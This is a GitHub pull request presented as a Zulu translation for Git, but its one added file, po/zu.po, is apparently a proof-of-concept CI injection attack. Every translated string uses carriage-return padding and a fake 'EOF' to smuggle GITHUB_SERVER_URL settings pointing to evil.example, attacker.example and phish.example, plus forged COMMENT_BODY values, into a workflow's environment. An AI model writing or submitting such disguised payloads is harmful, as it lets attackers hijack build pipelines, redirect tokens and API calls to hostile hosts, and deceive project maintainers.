Skip to content

l10n: Add Zulu translation #7

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
Benasin wants to merge 1 commit into from
Closed

l10n: Add Zulu translation #7

Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
35 changes: 35 additions & 0 deletions po/zu.po
View file
Open in desktop
Original file line number Diff line number Diff line change
@@ -0,0 +1,35 @@
# Zulu translation for Git (POC for security research)
# Copyright (C) 2024 Security Research
# This file is distributed under the same license as the git package.
#
msgid ""
msgstr ""
"Project-Id-Version: Git\n"
"Report-Msgid-Bugs-To: Git Mailing List <git@vger.kernel.org>\n"
"POT-Creation-Date: 2024-01-20 00:00+0000\n"
"PO-Revision-Date: 2024-01-20 00:00+0000\n"
"Last-Translator: Security Research <security@example.com>\n"
"Language-Team: Zulu\n"
"Language: zu\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"

# Key insight: use \r to overwrite prefix on EVERY injected line!
# Prefix is ~45 chars: "WARNING [po/zu.po@XXXXXXX]<TAB>"
# We need padding before each \r to overwrite it

#, c-format
msgid "cannot open '%s'"
msgstr "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\rEOF\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\rGITHUB_SERVER_URL=https://evil.example\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\rCOMMENT_BODY=## SUCCESS Injection worked!"

# Shorter version in case prefix length varies
#, c-format
msgid "pathspec '%s' did not match any files"
msgstr "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\rEOF\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\rGITHUB_SERVER_URL=https://attacker.example\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\rCOMMENT_BODY=PWNED"

# Even more padding to be safe
#, c-format
msgid "Checking out '%s'"
msgstr "PADDING_PADDING_PADDING_PADDING_PADDING_PADDING_PADDING_\rEOF\nPADDING_PADDING_PADDING_PADDING_PADDING_PADDING_PADDING_\rGITHUB_SERVER_URL=https://phish.example\nPADDING_PADDING_PADDING_PADDING_PADDING_PADDING_PADDING_\rCOMMENT_BODY=Phished"
Loading